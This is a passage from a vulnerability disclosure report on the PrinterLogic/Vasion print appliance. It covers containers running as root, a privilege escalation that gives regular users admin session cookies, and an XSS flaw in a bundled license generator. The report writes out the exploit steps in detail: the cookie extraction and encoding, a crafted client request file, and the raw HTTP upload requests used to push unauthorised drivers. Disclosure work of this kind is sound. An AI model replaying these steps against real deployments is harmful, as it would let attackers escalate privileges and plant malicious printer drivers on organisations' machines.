<pre><code>root@printerlogic:/dev/shm/a# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i); docker exec -it $i sh -c 'ps -a';done

16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
PID   USER     TIME  COMMAND
    1 root      0:01 va-api

9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 392100 21920 ?        Ssl  03:38   0:07 php artisan queue:work --queue=seeder --sleep=3 --tries=1

7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 392100 22484 ?        Ssl  03:38   0:07 php artisan queue:work --queue=scheduled-report --sleep=3 --tries=1

bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 392100 23808 ?        Ssl  03:38   0:07 php artisan queue:work --queue=snmp-status --sleep=3 --tries=1

9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.dock" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2392   976 ?        Ss   03:37   0:00 sh -c while true; do php /var/www/app/artisan schedule:run; sleep 6

b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3 392100 28060 ?        Ssl  03:38   0:07 php artisan queue:work --queue=laravel-schedule-low --sleep=3 -tri

ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3 398244 30584 ?        Ssl  03:38   0:09 php artisan queue:work --queue=laravel-schedule-high --sleep=3 -tr

bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  0.2 389304 19952 ?        Ssl  03:38   0:10 php artisan queue:work --queue=users --sleep=3 --tries=1

6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 3 hours ago Up 3 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4636   464 ?        Ss   03:38   0:00 /bin/sh -c supervisord -n -c /etc/supervisor/supervisord.conf
root         6  0.0  0.0  55460  3640 ?        S    03:38   0:03 /usr/bin/python /usr/bin/supervisord -n -c /etc/supervisor/supervis
root         9  0.4  0.4 958256 40652 ?        Sl   03:38   0:43 /opt/PrinterInstallerClient/service_interface/./PrinterInstallerCli

7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
PID   USER     TIME  COMMAND
    1 root      0:21 ./cloud-print-job-holder-app

7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
PID   USER     TIME  COMMAND
    1 root      0:21 ./cloud-print-job-holder-app

d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
PID   USER     TIME  COMMAND
    1 root      0:01 {node} npm run start
   27 root      0:04 node ./src/server.js

ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
PID   USER     TIME  COMMAND
    1 root      0:06 api

6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 3 hours ago Up 3 hours (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
PID   USER     TIME  COMMAND
    1 root      0:48 ./cloud-print-printer-gw

f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
PID   USER     TIME  COMMAND
    1 root      0:06 api

9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead
PID   USER     TIME  COMMAND
    1 root      0:01 /usr/local/bin/identity_api

0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
PID   USER     TIME  COMMAND
    1 root      0:00 /opt/api

bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
PID   USER     TIME  COMMAND
    1 root      0:01 off-network-app

e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
PID   USER     TIME  COMMAND
    1 root      0:00 npm
   25 root      0:35 node ./src/server.js

5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
PID   USER     TIME  COMMAND
    1 root      0:00 npm
   23 root      0:00 npm
   38 root      0:00 [node]
   88 root      0:05 node runParallel.js runRestApiServer.js runPollingProxy.js
   94 root      1:08 /usr/local/bin/node /var/www/app/runRestApiServer.js
   99 root      0:32 /usr/local/bin/node /var/www/app/runPollingProxy.js

a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
PID   USER     TIME  COMMAND
    1 root      0:01 off-network-app

317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
PID   USER     TIME  COMMAND
    1 root      0:00 npm run start
   63 root      0:22 node bin/src/server.js

a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
PID   USER     TIME  COMMAND
    1 root      0:00 npm
   19 root      0:00 [node]
   69 root      0:00 [node]
  108 root      0:07 node runRestApiServer.js
 5318 root      0:00 ps -a

022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 3 hours cicd_hive_1
PID   USER     TIME  COMMAND
    1 root      0:02 hive monitor
</code></pre>
<p>Running everything as root is dangerous - vulnerability inside a service may be used by the attacker to move laterally and compromise the host.</p>
<p><a id="va-lpe"></a></p>
<h2>Details - Creation of administrator cookies using the credentials of regular users</h2>
<p>Using a local user account, it is possible to elevate the privileges to admin privileges.</p>
<p>Using these admin privileges, it is possible to do a lot of administrative tasks on the solution.</p>
<p>As an example, I will show how to use this weakness to upload malicious driver packages to the remote server.</p>
<p>Creation of a user <code>user</code> without admin privileges:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-01.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-01-full.png">Click here for full image</a></p>
<p>Local user without administrator privileges</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-02.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-02-full.png">Click here for full image</a></p>
<p>Local user without administrator privileges</p>
<p>Using this account, it is possible to login into <code>/admin/</code>. Even if the workspace is empty, the session cookies have administrator privileges:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-03.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-03-full.png">Click here for full image</a></p>
<p>Logged as user inside <code>/admin/</code></p>
<p>On the SaaS installation, this vulnerability is also present. A user <code>test-user</code> has been created and he is able to login to https://[redacted].prrintercloud10.com/admin/index.php:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-04.png" />
Logged as user <code>test-user</code> inside <code>/admin/</code> in the SaaS version</p>
<p>The session cookies of the normal user obtained by login into <code>/admin/</code> can be then used to upload new drivers into the system.</p>
<p>Using Burp, I extracted the session cookies for the <code>user</code> logged in <code>/admin/</code>:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-05.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-05-full.png">Click here for full image</a></p>
<p>Session cookies of a normal user</p>
<p>Crafting a custom upload request to be used by the PrinterLogic client under Linux/MacOS.</p>
<p>File to be placed inside <code>/opt/PrinterInstallerClient/tmp/requests/1-1</code>:</p>
<pre><code>1 UPLOAD_DRIVER
2 base64(protocol)
3 base64(domain_name||ip)
4 base64("/")
5 base64(PHPSESSID=VALUE;XSRF-TOKEN=VALUE;laravel_session=VALUE;)
6 
7 base64("1")
</code></pre>
<p>I created a custom valid request file by transforming the previous cookies into acceptable data by the PrinterLogic client running on the test laptop (no LF characters, no space, trailing ";" at the end of the line, no url-encoded characters):    </p>
<p>Valid Cookies to be used by the PrinterLogic Client:</p>
<pre><code>kali% cat cookies.txt                                                   
PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63; XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0%3D; laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0%3D
kali% echo -n $(cat cookies.txt | sed -e 's# ##g;s#%3D#=#g');echo ';'   
PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;
kali% echo -n 'PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;' | base64 -w0
UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs=
</code></pre>
<p>The resulting file is shown. The data contained in base64 must not contain LF (line feed) character to be valid.</p>
<p>File to be used with the PrinterLogic Client:</p>
<pre><code>UPLOAD_DRIVER
aHR0cDo=            base64(http)
MTAuMTA1LjAuMjQx    base64(10.105.0.241)
Lw==                base64(/) 
UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs=

MQ==                base64(1)
</code></pre>
<p>"Sending" the request to the PrinterLogic client:</p>
<pre><code>kali% cp test-req /opt/PrinterInstallerClient/tmp/requests/1-1
</code></pre>
<p>The GUI will appear on the local machine:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-06.png" /></p>
<p>Upload of a driver</p>
<p>Using Burp, we can confirm the upload is done:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-07.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-07-full.png">Click here for full image</a></p>
<p>Upload of a driver</p>
<p>From the logs on the client, we can confirm the upload was successful:</p>
<pre>
2022-02-03 04:14:55,175 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/1-1'
2022-02-03 04:14:55,177 (INFO): Received request: UPLOAD_DRIVER
2022-02-03 04:14:55,177 (INFO): Creating task:
<font color=red>Command: 'UPLOAD_DRIVER'
Arguments: http:,10.105.0.241,/,PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;,,1</font>
User ID: 1000
Group ID: 1000
Use UI: True
Origin: 'PLUGIN'
2022-02-03 04:14:55,178 (DEBUG): Checking if home URL should be changed to: http://10.105.0.241/
2022-02-03 04:14:55,179 (DEBUG): Getting clientsettings.dat from server (or using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if up-to-date)
2022-02-03 04:14:55,339 (INFO): Configuring proxy overrides: MANUAL
2022-02-03 04:14:55,339 (DEBUG): HTTP proxy: 127.0.0.1:8080
2022-02-03 04:14:55,339 (DEBUG): HTTPS proxy: 127.0.0.1:8080
2022-02-03 04:14:55,480 (DEBUG): Current cached copy of clientsettings.dat is up-to-date, using local version
2022-02-03 04:14:55,481 (INFO): The home URL is already set to: http://10.105.0.241/
2022-02-03 04:14:55,486 (DEBUG): Getting driver paths and annotation from GUI
<font color=red>2022-02-03 04:15:29,901 (DEBUG): Selected in the GUI: ['/usr/share/ppd/cupsfilters/pxlcolor.ppd'], upload with 'user' credentials</font>
2022-02-03 04:15:29,901 (DEBUG): Uploading drivers to the database
<font color=red>2022-02-03 04:15:29,990 (DEBUG): Found driver components ['/usr/lib/cups/filter/gstopxl']</font>
2022-02-03 04:15:29,999 (INFO): Configuring proxy overrides: MANUAL
2022-02-03 04:15:29,999 (DEBUG): HTTP proxy: 127.0.0.1:8080
2022-02-03 04:15:29,999 (DEBUG): HTTPS proxy: 127.0.0.1:8080
<font color=red>2022-02-03 04:15:30,359 (DEBUG): Attempting to open: http://10.105.0.241/client/gateway.php?confirmupload=1&uploadid=22&packagetype=LINUX&oslist=61&printprocess=&driverdate=09/06/2021&driverversion=1.1&make=HP&modelname=HP%20Color%20LaserJet%20Series%20PCL%206&annotation=upload%20with%20%27user%27%20credentials&inffile=/usr/share/ppd/cupsfilters/pxlcolor.ppd</font>
2022-02-03 04:15:30,360 (INFO): Configuring proxy overrides: MANUAL
2022-02-03 04:15:30,360 (DEBUG): HTTP proxy: 127.0.0.1:8080
2022-02-03 04:15:30,360 (DEBUG): HTTPS proxy: 127.0.0.1:8080
<font color=red>2022-02-03 04:15:31,520 (INFO): Done with request: UPLOAD_DRIVER</font>
2022-02-03 04:15:31,521 (DEBUG): Opening pipe at /opt/PrinterInstallerClient/tmp/responses/1-1 to write response
</pre>

<p>Using the admin credentials, we can confirm the drivers have been uploaded without admin credentials:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-08.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-08-full.png">Click here for full image</a></p>
<p>Listing of uploaded drivers</p>
<p>The current driver is listed as compatible with Linux only - using Burp to replay HTTPS requests, it is possible to change the OS:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-09.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-09-full.png">Click here for full image</a></p>
<p>Listing of uploaded drivers with different OS</p>
<p>The upload is in a 3-step sequence:</p>
<p>1.Getting an upload slot ID:</p>
<pre><code>POST /client/uploadgateway.php HTTP/1.1
needhandle=1&amp;description=Reupload+using+burp&amp;totalsize=3976&amp;totalfragments=1
</code></pre>
<p>This API will then provide an upload slot ID used for the next HTTP request.</p>
<p>2.Uploading the content:</p>
<pre><code>POST /client/uploadgateway.php HTTP/1.1
uploadid=26&amp;fragment=0&amp;fragmentsize=sizeof(base64(data))data=base64(data)
</code></pre>
<p>3.Configuring the driver:</p>
<pre><code>GET /client/gateway.php?confirmupload=1&amp;uploadid=26&amp;packagetype=NORMAL&amp;oslist=10&amp;printprocess=&amp;driverdate=09%2F06%2F2021&amp;driverversion=1.1&amp;make=HP&amp;modelname=HP+Color+LaserJet+Series+PCL+6&amp;annotation=upload+with+%27user%27+credentials&amp;inffile=%2Fusr%2Fshare%2Fppd%2Fcupsfilters%2Fpxlcolor.ppd HTTP/1.1
</code></pre>
<p>The <code>oslist</code> value allows the attacker to specify the target OS.</p>
<p>To be valid, these requests require either the <code>Authorization: Bearer KEY</code> or the <code>x-printerlogic-auth: Bearer KEY</code> headers. These keys appear to be unique for each client installation. To be sure that this exploitation has worked, I reinstalled a dedicated Linux machine with PrinterLogic Client and used the specific user1 user with normal privileges (non-administrator). This machine was never used to reach the server as admin or do any action on the remote server using admin cookies.</p>
<p>In this case, the headers were specific to this machine and the upload also worked:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-10.png" /></p>
<p>Upload request</p>
<p>This authorization code appears to come from the <code>/opt/PrinterInstallerClient/configuration.json</code> configuration file, in the tokens hashtable - this value is specific to each installation of the client and is set during the initial configuration of the client (this may require a temporary registration code).</p>
<p>Token value from the configuration file (before decoding):</p>
<pre><code>21   "tokens": {
22     "null": null,
23     "http://10.105.0.241/": "b'\\xa5A\\xf2\\xb7\\xf8\\x10\\xb1\\x01\\xf6P\\xba\\xb8(K\\xae\\xa7\\xea\\xc2\\xb0eC\\xff[\\xcd\\xa2e\\xe6p\\xb9j\\xe1\\x1egH\    \xd4\\xea\\xcc!\\x07\\x9d'"
24   },
</code></pre>
<p>The upload also worked for <code>user1</code>:</p>
<p><img alt="" src="images/2025-vasion-report-1-admin-cookie-11.png" /></p>
<p><a href="images/2025-vasion-report-1-admin-cookie-11-full.png">Click here for full image</a></p>
<p>Upload from user1 from a dedicated machine never linked to any PrinterLogic admin activity</p>
<p>There are 2 verifications done by the upload process:</p>
<ul>
<li>Checking of the PHP sessions to verify whether the current user has administrator privileges (that can be bypassed by getting <code>admin</code> cookies when visiting <code>/admin/</code>)</li>
<li>Checking of a hardcoded token that is set during the initial installation/configuration of the PrinterLogic Client.</li>
</ul>
<p>There is also a race condition between the first and the second upload requests - when an administrator is uploading a driver, another user with admin privileges can upload malicious drivers by brute-forcing the upload slot id in the second http request: the upload mechanism is not linked to a specific administrator's session but only uses the public upload slot id.</p>
<p>It was not possible to exploit this race condition from a user without cookies with elevated privileges (using the cookies retrieving when login to http://printerlogic-url/).</p>
<p>When using <code>local</code> users, the appliance/SaaS is vulnerable to privilege escalation, allowing to compromise drivers.</p>
<p>Installations using Azure Single Sign On authentication are secure because the authentication is blocked by Microsoft and doesn't reach the PrinterLogic server.</p>
<p><a id="va-xss-01"></a></p>
<h2>Details - XSS in the license generator and weak encryption algorithm</h2>
<p>The custom <code>encryption</code> algorithm to generate license key is very weak and can be easily bypassed.</p>
<p>Furthermore, the appliance provides a working licence generator located in <code>/var/www/app/license_gen.php</code>.</p>
<p>The code contains XSS in lines 117 and 253:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">60</span>  <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">rs</span>(<span style="color: #19177C">$n</span>,<span style="color: #19177C">$def</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;&quot;</span>,<span style="color: #19177C">$n2</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;&quot;</span>) {
 <span style="color: #666666">61</span>         <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span><span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n</span>])) {
 <span style="color: #666666">62</span>                 <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$n2</span>)<span style="color: #666666">||</span>(<span style="color: #666666">!</span><span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n2</span>]))) {
 <span style="color: #666666">63</span>                         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$def</span>;
 <span style="color: #666666">64</span>                 } <span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n2</span>];
 <span style="color: #666666">65</span>         }  <span style="color: #008000; font-weight: bold">else</span> <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$_REQUEST</span>[<span style="color: #19177C">$n</span>];
 <span style="color: #666666">66</span>  }
[<span style="color: #666666">...</span>]
<span style="color: #666666">114</span>  <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">fd</span>(<span style="color: #19177C">$n</span>) {
<span style="color: #666666">115</span>         <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$n</span>)) <span style="color: #008000; font-weight: bold">return</span> <span style="color: #BA2121">&quot;&quot;</span>;
<span style="color: #666666">116</span>         <span style="color: #19177C">$res</span><span style="color: #666666">=</span>_fd(<span style="color: #19177C">$n</span>);
<span style="color: #666666">117</span>         <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$res</span><span style="color: #666666">===</span><span style="color: #008000; font-weight: bold">false</span>) <span style="color: #008000; font-weight: bold">die</span>(<span style="color: #BA2121">&quot;The date specified &#39;</span><span style="color: #BB6688; font-weight: bold">$n</span><span style="color: #BA2121">&#39; could not be parsed.&quot;</span>); <span style="color: #408080; font-style: italic">// [1] XSS with $n</span>
<span style="color: #666666">118</span>         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$res</span>;
<span style="color: #666666">119</span> 
<span style="color: #666666">120</span>  }
[<span style="color: #666666">...</span>]
<span style="color: #666666">248</span> <span style="color: #666666">&lt;?</span>php
<span style="color: #666666">249</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #19177C">$needconfirm</span>) {
<span style="color: #666666">250</span>         <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;&lt;font style=&#39;color: red&#39;&gt;</span>
<span style="color: #BA2121">251         THE DATE YOU SPECIFIED IS QUESTIONABLE, </span>
<span style="color: #BA2121">252         ARE YOU REALLY SURE THATS WHAT YOU MEANT TO PUT IN THERE?&lt;br/&gt;&lt;br/&gt;</span>
<span style="color: #BA2121">253         I PARSED IT AS: &quot;</span><span style="color: #666666">.</span>fd(rs(<span style="color: #BA2121">&#39;expiry&#39;</span>))<span style="color: #666666">.</span><span style="color: #BA2121">&quot; &lt;/font&gt;&lt;br /&gt;&lt;div&gt;&quot;</span>;             <span style="color: #408080; font-style: italic">// [2] XSS with rs(&#39;expiry&#39;)</span>
<span style="color: #666666">254</span> }
<span style="color: #666666">255</span> <span style="color: #BC7A00">?&gt;</span>
</pre></div>

